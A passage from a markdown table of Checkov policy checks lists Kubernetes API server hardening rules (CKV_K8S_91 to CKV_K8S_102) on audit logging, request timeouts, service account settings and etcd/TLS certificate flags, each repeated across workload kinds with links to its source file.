[ApiServerAuditLog.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLog.py)                                                                                            |\n| 7340 | CKV_K8S_91               | resource                         | DaemonSet                                                                                        | Ensure that the --audit-log-path argument is set                                                                                                                                                         | Kubernetes              | [ApiServerAuditLog.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLog.py)                                                                                            |\n| 7341 | CKV_K8S_91               | resource                         | Deployment                                                                                       | Ensure that the --audit-log-path argument is set                                                                                                                                                         | Kubernetes              | [ApiServerAuditLog.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLog.py)                                                                                            |\n| 7342 | CKV_K8S_91               | resource                         | DeploymentConfig                                                                                 | Ensure that the --audit-log-path argument is set                                                                                                                                                         | Kubernetes              | [ApiServerAuditLog.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLog.py)                                                                                            |\n| 7343 | CKV_K8S_91               | resource                         | Job                                                                                              | Ensure that the --audit-log-path argument is set                                                                                                                                                         | Kubernetes              | [ApiServerAuditLog.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLog.py)                                                                                            |\n| 7344 | CKV_K8S_91               | resource                         | Pod                                                                                              | Ensure that the --audit-log-path argument is set                                                                                                                                                         | Kubernetes              | [ApiServerAuditLog.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLog.py)                                                                                            |\n| 7345 | CKV_K8S_91               | resource                         | PodTemplate                                                                                      | Ensure that the --audit-log-path argument is set                                                                                                                                                         | Kubernetes              | [ApiServerAuditLog.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLog.py)                                                                                            |\n| 7346 | CKV_K8S_91               | resource                         | ReplicaSet                                                                                       | Ensure that the --audit-log-path argument is set                                                                                                                                                         | Kubernetes              | [ApiServerAuditLog.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLog.py)                                                                                            |\n| 7347 | CKV_K8S_91               | resource                         | ReplicationController                                                                            | Ensure that the --audit-log-path argument is set                                                                                                                                                         | Kubernetes              | [ApiServerAuditLog.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLog.py)                                                                                            |\n| 7348 | CKV_K8S_91               | resource                         | StatefulSet                                                                                      | Ensure that the --audit-log-path argument is set                                                                                                                                                         | Kubernetes              | [ApiServerAuditLog.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLog.py)                                                                                            |\n| 7349 | CKV_K8S_92               | resource                         | CronJob                                                                                          | Ensure that the --audit-log-maxage argument is set to 30 or as appropriate                                                                                                                               | Kubernetes              | [ApiServerAuditLogMaxAge.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLogMaxAge.py)                                                                                |\n| 7350 | CKV_K8S_92               | resource                         | DaemonSet                                                                                        | Ensure that the --audit-log-maxage argument is set to 30 or as appropriate                                                                                                                               | Kubernetes              | [ApiServerAuditLogMaxAge.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLogMaxAge.py)                                                                                |\n| 7351 | CKV_K8S_92               | resource                         | Deployment                                                                                       | Ensure that the --audit-log-maxage argument is set to 30 or as appropriate                                                                                                                               | Kubernetes              | [ApiServerAuditLogMaxAge.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLogMaxAge.py)                                                                                |\n| 7352 | CKV_K8S_92               | resource                         | DeploymentConfig                                                                                 | Ensure that the --audit-log-maxage argument is set to 30 or as appropriate                                                                                                                               | Kubernetes              | [ApiServerAuditLogMaxAge.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLogMaxAge.py)                                                                                |\n| 7353 | CKV_K8S_92               | resource                         | Job                                                                                              | Ensure that the --audit-log-maxage argument is set to 30 or as appropriate                                                                                                                               | Kubernetes              | [ApiServerAuditLogMaxAge.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLogMaxAge.py)                                                                                |\n| 7354 | CKV_K8S_92               | resource                         | Pod                                                                                              | Ensure that the --audit-log-maxage argument is set to 30 or as appropriate                                                                                                                               | Kubernetes              | [ApiServerAuditLogMaxAge.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLogMaxAge.py)                                                                                |\n| 7355 | CKV_K8S_92               | resource                         | PodTemplate                                                                                      | Ensure that the --audit-log-maxage argument is set to 30 or as appropriate                                                                                                                               | Kubernetes              | [ApiServerAuditLogMaxAge.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLogMaxAge.py)                                                                                |\n| 7356 | CKV_K8S_92               | resource                         | ReplicaSet                                                                                       | Ensure that the --audit-log-maxage argument is set to 30 or as appropriate                                                                                                                               | Kubernetes              | [ApiServerAuditLogMaxAge.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLogMaxAge.py)                                                                                |\n| 7357 | CKV_K8S_92               | resource                         | ReplicationController                                                                            | Ensure that the --audit-log-maxage argument is set to 30 or as appropriate                                                                                                                               | Kubernetes              | [ApiServerAuditLogMaxAge.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLogMaxAge.py)                                                                                |\n| 7358 | CKV_K8S_92               | resource                         | StatefulSet                                                                                      | Ensure that the --audit-log-maxage argument is set to 30 or as appropriate                                                                                                                               | Kubernetes              | [ApiServerAuditLogMaxAge.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLogMaxAge.py)                                                                                |\n| 7359 | CKV_K8S_93               | resource                         | CronJob                                                                                          | Ensure that the --audit-log-maxbackup argument is set to 10 or as appropriate                                                                                                                            | Kubernetes              | [ApiServerAuditLogMaxBackup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLogMaxBackup.py)                                                                          |\n| 7360 | CKV_K8S_93               | resource                         | DaemonSet                                                                                        | Ensure that the --audit-log-maxbackup argument is set to 10 or as appropriate                                                                                                                            | Kubernetes              | [ApiServerAuditLogMaxBackup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLogMaxBackup.py)                                                                          |\n| 7361 | CKV_K8S_93               | resource                         | Deployment                                                                                       | Ensure that the --audit-log-maxbackup argument is set to 10 or as appropriate                                                                                                                            | Kubernetes              | [ApiServerAuditLogMaxBackup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLogMaxBackup.py)                                                                          |\n| 7362 | CKV_K8S_93               | resource                         | DeploymentConfig                                                                                 | Ensure that the --audit-log-maxbackup argument is set to 10 or as appropriate                                                                                                                            | Kubernetes              | [ApiServerAuditLogMaxBackup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLogMaxBackup.py)                                                                          |\n| 7363 | CKV_K8S_93               | resource                         | Job                                                                                              | Ensure that the --audit-log-maxbackup argument is set to 10 or as appropriate                                                                                                                            | Kubernetes              | [ApiServerAuditLogMaxBackup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLogMaxBackup.py)                                                                          |\n| 7364 | CKV_K8S_93               | resource                         | Pod                                                                                              | Ensure that the --audit-log-maxbackup argument is set to 10 or as appropriate                                                                                                                            | Kubernetes              | [ApiServerAuditLogMaxBackup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLogMaxBackup.py)                                                                          |\n| 7365 | CKV_K8S_93               | resource                         | PodTemplate                                                                                      | Ensure that the --audit-log-maxbackup argument is set to 10 or as appropriate                                                                                                                            | Kubernetes              | [ApiServerAuditLogMaxBackup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLogMaxBackup.py)                                                                          |\n| 7366 | CKV_K8S_93               | resource                         | ReplicaSet                                                                                       | Ensure that the --audit-log-maxbackup argument is set to 10 or as appropriate                                                                                                                            | Kubernetes              | [ApiServerAuditLogMaxBackup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLogMaxBackup.py)                                                                          |\n| 7367 | CKV_K8S_93               | resource                         | ReplicationController                                                                            | Ensure that the --audit-log-maxbackup argument is set to 10 or as appropriate                                                                                                                            | Kubernetes              | [ApiServerAuditLogMaxBackup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLogMaxBackup.py)                                                                          |\n| 7368 | CKV_K8S_93               | resource                         | StatefulSet                                                                                      | Ensure that the --audit-log-maxbackup argument is set to 10 or as appropriate                                                                                                                            | Kubernetes              | [ApiServerAuditLogMaxBackup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLogMaxBackup.py)                                                                          |\n| 7369 | CKV_K8S_94               | resource                         | CronJob                                                                                          | Ensure that the --audit-log-maxsize argument is set to 100 or as appropriate                                                                                                                             | Kubernetes              | [ApiServerAuditLogMaxSize.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLogMaxSize.py)                                                                              |\n| 7370 | CKV_K8S_94               | resource                         | DaemonSet                                                                                        | Ensure that the --audit-log-maxsize argument is set to 100 or as appropriate                                                                                                                             | Kubernetes              | [ApiServerAuditLogMaxSize.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLogMaxSize.py)                                                                              |\n| 7371 | CKV_K8S_94               | resource                         | Deployment                                                                                       | Ensure that the --audit-log-maxsize argument is set to 100 or as appropriate                                                                                                                             | Kubernetes              | [ApiServerAuditLogMaxSize.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLogMaxSize.py)                                                                              |\n| 7372 | CKV_K8S_94               | resource                         | DeploymentConfig                                                                                 | Ensure that the --audit-log-maxsize argument is set to 100 or as appropriate                                                                                                                             | Kubernetes              | [ApiServerAuditLogMaxSize.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLogMaxSize.py)                                                                              |\n| 7373 | CKV_K8S_94               | resource                         | Job                                                                                              | Ensure that the --audit-log-maxsize argument is set to 100 or as appropriate                                                                                                                             | Kubernetes              | [ApiServerAuditLogMaxSize.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLogMaxSize.py)                                                                              |\n| 7374 | CKV_K8S_94               | resource                         | Pod                                                                                              | Ensure that the --audit-log-maxsize argument is set to 100 or as appropriate                                                                                                                             | Kubernetes              | [ApiServerAuditLogMaxSize.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLogMaxSize.py)                                                                              |\n| 7375 | CKV_K8S_94               | resource                         | PodTemplate                                                                                      | Ensure that the --audit-log-maxsize argument is set to 100 or as appropriate                                                                                                                             | Kubernetes              | [ApiServerAuditLogMaxSize.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLogMaxSize.py)                                                                              |\n| 7376 | CKV_K8S_94               | resource                         | ReplicaSet                                                                                       | Ensure that the --audit-log-maxsize argument is set to 100 or as appropriate                                                                                                                             | Kubernetes              | [ApiServerAuditLogMaxSize.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLogMaxSize.py)                                                                              |\n| 7377 | CKV_K8S_94               | resource                         | ReplicationController                                                                            | Ensure that the --audit-log-maxsize argument is set to 100 or as appropriate                                                                                                                             | Kubernetes              | [ApiServerAuditLogMaxSize.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLogMaxSize.py)                                                                              |\n| 7378 | CKV_K8S_94               | resource                         | StatefulSet                                                                                      | Ensure that the --audit-log-maxsize argument is set to 100 or as appropriate                                                                                                                             | Kubernetes              | [ApiServerAuditLogMaxSize.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLogMaxSize.py)                                                                              |\n| 7379 | CKV_K8S_95               | resource                         | CronJob                                                                                          | Ensure that the --request-timeout argument is set as appropriate                                                                                                                                         | Kubernetes              | [ApiServerRequestTimeout.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerRequestTimeout.py)                                                                                |\n| 7380 | CKV_K8S_95               | resource                         | DaemonSet                                                                                        | Ensure that the --request-timeout argument is set as appropriate                                                                                                                                         | Kubernetes              | [ApiServerRequestTimeout.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerRequestTimeout.py)                                                                                |\n| 7381 | CKV_K8S_95               | resource                         | Deployment                                                                                       | Ensure that the --request-timeout argument is set as appropriate                                                                                                                                         | Kubernetes              | [ApiServerRequestTimeout.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerRequestTimeout.py)                                                                                |\n| 7382 | CKV_K8S_95               | resource                         | DeploymentConfig                                                                                 | Ensure that the --request-timeout argument is set as appropriate                                                                                                                                         | Kubernetes              | [ApiServerRequestTimeout.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerRequestTimeout.py)                                                                                |\n| 7383 | CKV_K8S_95               | resource                         | Job                                                                                              | Ensure that the --request-timeout argument is set as appropriate                                                                                                                                         | Kubernetes              | [ApiServerRequestTimeout.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerRequestTimeout.py)                                                                                |\n| 7384 | CKV_K8S_95               | resource                         | Pod                                                                                              | Ensure that the --request-timeout argument is set as appropriate                                                                                                                                         | Kubernetes              | [ApiServerRequestTimeout.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerRequestTimeout.py)                                                                                |\n| 7385 | CKV_K8S_95               | resource                         | PodTemplate                                                                                      | Ensure that the --request-timeout argument is set as appropriate                                                                                                                                         | Kubernetes              | [ApiServerRequestTimeout.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerRequestTimeout.py)                                                                                |\n| 7386 | CKV_K8S_95               | resource                         | ReplicaSet                                                                                       | Ensure that the --request-timeout argument is set as appropriate                                                                                                                                         | Kubernetes              | [ApiServerRequestTimeout.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerRequestTimeout.py)                                                                                |\n| 7387 | CKV_K8S_95               | resource                         | ReplicationController                                                                            | Ensure that the --request-timeout argument is set as appropriate                                                                                                                                         | Kubernetes              | [ApiServerRequestTimeout.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerRequestTimeout.py)                                                                                |\n| 7388 | CKV_K8S_95               | resource                         | StatefulSet                                                                                      | Ensure that the --request-timeout argument is set as appropriate                                                                                                                                         | Kubernetes              | [ApiServerRequestTimeout.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerRequestTimeout.py)                                                                                |\n| 7389 | CKV_K8S_96               | resource                         | CronJob                                                                                          | Ensure that the --service-account-lookup argument is set to true                                                                                                                                         | Kubernetes              | [ApiServerServiceAccountLookup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerServiceAccountLookup.py)                                                                    |\n| 7390 | CKV_K8S_96               | resource                         | DaemonSet                                                                                        | Ensure that the --service-account-lookup argument is set to true                                                                                                                                         | Kubernetes              | [ApiServerServiceAccountLookup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerServiceAccountLookup.py)                                                                    |\n| 7391 | CKV_K8S_96               | resource                         | Deployment                                                                                       | Ensure that the --service-account-lookup argument is set to true                                                                                                                                         | Kubernetes              | [ApiServerServiceAccountLookup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerServiceAccountLookup.py)                                                                    |\n| 7392 | CKV_K8S_96               | resource                         | DeploymentConfig                                                                                 | Ensure that the --service-account-lookup argument is set to true                                                                                                                                         | Kubernetes              | [ApiServerServiceAccountLookup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerServiceAccountLookup.py)                                                                    |\n| 7393 | CKV_K8S_96               | resource                         | Job                                                                                              | Ensure that the --service-account-lookup argument is set to true                                                                                                                                         | Kubernetes              | [ApiServerServiceAccountLookup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerServiceAccountLookup.py)                                                                    |\n| 7394 | CKV_K8S_96               | resource                         | Pod                                                                                              | Ensure that the --service-account-lookup argument is set to true                                                                                                                                         | Kubernetes              | [ApiServerServiceAccountLookup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerServiceAccountLookup.py)                                                                    |\n| 7395 | CKV_K8S_96               | resource                         | PodTemplate                                                                                      | Ensure that the --service-account-lookup argument is set to true                                                                                                                                         | Kubernetes              | [ApiServerServiceAccountLookup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerServiceAccountLookup.py)                                                                    |\n| 7396 | CKV_K8S_96               | resource                         | ReplicaSet                                                                                       | Ensure that the --service-account-lookup argument is set to true                                                                                                                                         | Kubernetes              | [ApiServerServiceAccountLookup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerServiceAccountLookup.py)                                                                    |\n| 7397 | CKV_K8S_96               | resource                         | ReplicationController                                                                            | Ensure that the --service-account-lookup argument is set to true                                                                                                                                         | Kubernetes              | [ApiServerServiceAccountLookup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerServiceAccountLookup.py)                                                                    |\n| 7398 | CKV_K8S_96               | resource                         | StatefulSet                                                                                      | Ensure that the --service-account-lookup argument is set to true                                                                                                                                         | Kubernetes              | [ApiServerServiceAccountLookup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerServiceAccountLookup.py)                                                                    |\n| 7399 | CKV_K8S_97               | resource                         | CronJob                                                                                          | Ensure that the --service-account-key-file argument is set as appropriate                                                                                                                                | Kubernetes              | [ApiServerServiceAccountKeyFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerServiceAccountKeyFile.py)                                                                  |\n| 7400 | CKV_K8S_97               | resource                         | DaemonSet                                                                                        | Ensure that the --service-account-key-file argument is set as appropriate                                                                                                                                | Kubernetes              | [ApiServerServiceAccountKeyFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerServiceAccountKeyFile.py)                                                                  |\n| 7401 | CKV_K8S_97               | resource                         | Deployment                                                                                       | Ensure that the --service-account-key-file argument is set as appropriate                                                                                                                                | Kubernetes              | [ApiServerServiceAccountKeyFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerServiceAccountKeyFile.py)                                                                  |\n| 7402 | CKV_K8S_97               | resource                         | DeploymentConfig                                                                                 | Ensure that the --service-account-key-file argument is set as appropriate                                                                                                                                | Kubernetes              | [ApiServerServiceAccountKeyFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerServiceAccountKeyFile.py)                                                                  |\n| 7403 | CKV_K8S_97               | resource                         | Job                                                                                              | Ensure that the --service-account-key-file argument is set as appropriate                                                                                                                                | Kubernetes              | [ApiServerServiceAccountKeyFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerServiceAccountKeyFile.py)                                                                  |\n| 7404 | CKV_K8S_97               | resource                         | Pod                                                                                              | Ensure that the --service-account-key-file argument is set as appropriate                                                                                                                                | Kubernetes              | [ApiServerServiceAccountKeyFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerServiceAccountKeyFile.py)                                                                  |\n| 7405 | CKV_K8S_97               | resource                         | PodTemplate                                                                                      | Ensure that the --service-account-key-file argument is set as appropriate                                                                                                                                | Kubernetes              | [ApiServerServiceAccountKeyFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerServiceAccountKeyFile.py)                                                                  |\n| 7406 | CKV_K8S_97               | resource                         | ReplicaSet                                                                                       | Ensure that the --service-account-key-file argument is set as appropriate                                                                                                                                | Kubernetes              | [ApiServerServiceAccountKeyFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerServiceAccountKeyFile.py)                                                                  |\n| 7407 | CKV_K8S_97               | resource                         | ReplicationController                                                                            | Ensure that the --service-account-key-file argument is set as appropriate                                                                                                                                | Kubernetes              | [ApiServerServiceAccountKeyFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerServiceAccountKeyFile.py)                                                                  |\n| 7408 | CKV_K8S_97               | resource                         | StatefulSet                                                                                      | Ensure that the --service-account-key-file argument is set as appropriate                                                                                                                                | Kubernetes              | [ApiServerServiceAccountKeyFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerServiceAccountKeyFile.py)                                                                  |\n| 7409 | CKV_K8S_99               | resource                         | CronJob                                                                                          | Ensure that the --etcd-certfile and --etcd-keyfile arguments are set as appropriate                                                                                                                      | Kubernetes              | [ApiServerEtcdCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerEtcdCertAndKey.py)                                                                                |\n| 7410 | CKV_K8S_99               | resource                         | DaemonSet                                                                                        | Ensure that the --etcd-certfile and --etcd-keyfile arguments are set as appropriate                                                                                                                      | Kubernetes              | [ApiServerEtcdCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerEtcdCertAndKey.py)                                                                                |\n| 7411 | CKV_K8S_99               | resource                         | Deployment                                                                                       | Ensure that the --etcd-certfile and --etcd-keyfile arguments are set as appropriate                                                                                                                      | Kubernetes              | [ApiServerEtcdCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerEtcdCertAndKey.py)                                                                                |\n| 7412 | CKV_K8S_99               | resource                         | DeploymentConfig                                                                                 | Ensure that the --etcd-certfile and --etcd-keyfile arguments are set as appropriate                                                                                                                      | Kubernetes              | [ApiServerEtcdCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerEtcdCertAndKey.py)                                                                                |\n| 7413 | CKV_K8S_99               | resource                         | Job                                                                                              | Ensure that the --etcd-certfile and --etcd-keyfile arguments are set as appropriate                                                                                                                      | Kubernetes              | [ApiServerEtcdCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerEtcdCertAndKey.py)                                                                                |\n| 7414 | CKV_K8S_99               | resource                         | Pod                                                                                              | Ensure that the --etcd-certfile and --etcd-keyfile arguments are set as appropriate                                                                                                                      | Kubernetes              | [ApiServerEtcdCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerEtcdCertAndKey.py)                                                                                |\n| 7415 | CKV_K8S_99               | resource                         | PodTemplate                                                                                      | Ensure that the --etcd-certfile and --etcd-keyfile arguments are set as appropriate                                                                                                                      | Kubernetes              | [ApiServerEtcdCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerEtcdCertAndKey.py)                                                                                |\n| 7416 | CKV_K8S_99               | resource                         | ReplicaSet                                                                                       | Ensure that the --etcd-certfile and --etcd-keyfile arguments are set as appropriate                                                                                                                      | Kubernetes              | [ApiServerEtcdCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerEtcdCertAndKey.py)                                                                                |\n| 7417 | CKV_K8S_99               | resource                         | ReplicationController                                                                            | Ensure that the --etcd-certfile and --etcd-keyfile arguments are set as appropriate                                                                                                                      | Kubernetes              | [ApiServerEtcdCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerEtcdCertAndKey.py)                                                                                |\n| 7418 | CKV_K8S_99               | resource                         | StatefulSet                                                                                      | Ensure that the --etcd-certfile and --etcd-keyfile arguments are set as appropriate                                                                                                                      | Kubernetes              | [ApiServerEtcdCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerEtcdCertAndKey.py)                                                                                |\n| 7419 | CKV_K8S_100              | resource                         | CronJob                                                                                          | Ensure that the --tls-cert-file and --tls-private-key-file arguments are set as appropriate                                                                                                              | Kubernetes              | [ApiServerTlsCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerTlsCertAndKey.py)                                                                                  |\n| 7420 | CKV_K8S_100              | resource                         | DaemonSet                                                                                        | Ensure that the --tls-cert-file and --tls-private-key-file arguments are set as appropriate                                                                                                              | Kubernetes              | [ApiServerTlsCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerTlsCertAndKey.py)                                                                                  |\n| 7421 | CKV_K8S_100              | resource                         | Deployment                                                                                       | Ensure that the --tls-cert-file and --tls-private-key-file arguments are set as appropriate                                                                                                              | Kubernetes              | [ApiServerTlsCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerTlsCertAndKey.py)                                                                                  |\n| 7422 | CKV_K8S_100              | resource                         | DeploymentConfig                                                                                 | Ensure that the --tls-cert-file and --tls-private-key-file arguments are set as appropriate                                                                                                              | Kubernetes              | [ApiServerTlsCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerTlsCertAndKey.py)                                                                                  |\n| 7423 | CKV_K8S_100              | resource                         | Job                                                                                              | Ensure that the --tls-cert-file and --tls-private-key-file arguments are set as appropriate                                                                                                              | Kubernetes              | [ApiServerTlsCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerTlsCertAndKey.py)                                                                                  |\n| 7424 | CKV_K8S_100              | resource                         | Pod                                                                                              | Ensure that the --tls-cert-file and --tls-private-key-file arguments are set as appropriate                                                                                                              | Kubernetes              | [ApiServerTlsCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerTlsCertAndKey.py)                                                                                  |\n| 7425 | CKV_K8S_100              | resource                         | PodTemplate                                                                                      | Ensure that the --tls-cert-file and --tls-private-key-file arguments are set as appropriate                                                                                                              | Kubernetes              | [ApiServerTlsCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerTlsCertAndKey.py)                                                                                  |\n| 7426 | CKV_K8S_100              | resource                         | ReplicaSet                                                                                       | Ensure that the --tls-cert-file and --tls-private-key-file arguments are set as appropriate                                                                                                              | Kubernetes              | [ApiServerTlsCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerTlsCertAndKey.py)                                                                                  |\n| 7427 | CKV_K8S_100              | resource                         | ReplicationController                                                                            | Ensure that the --tls-cert-file and --tls-private-key-file arguments are set as appropriate                                                                                                              | Kubernetes              | [ApiServerTlsCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerTlsCertAndKey.py)                                                                                  |\n| 7428 | CKV_K8S_100              | resource                         | StatefulSet                                                                                      | Ensure that the --tls-cert-file and --tls-private-key-file arguments are set as appropriate                                                                                                              | Kubernetes              | [ApiServerTlsCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerTlsCertAndKey.py)                                                                                  |\n| 7429 | CKV_K8S_102              | resource                         | CronJob                                                                                          | Ensure that the --etcd-cafile argument is set as appropriate                                                                                                                                             | Kubernetes              | [ApiServerEtcdCaFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerEtcdCaFile.py)                                                                                        |\n| 7430 | CKV_K8S_102              | resource                         | DaemonSet                                                                                        | Ensure that the --etcd-cafile argument is set as appropriate                                                                                                                                             | Kubernetes              | 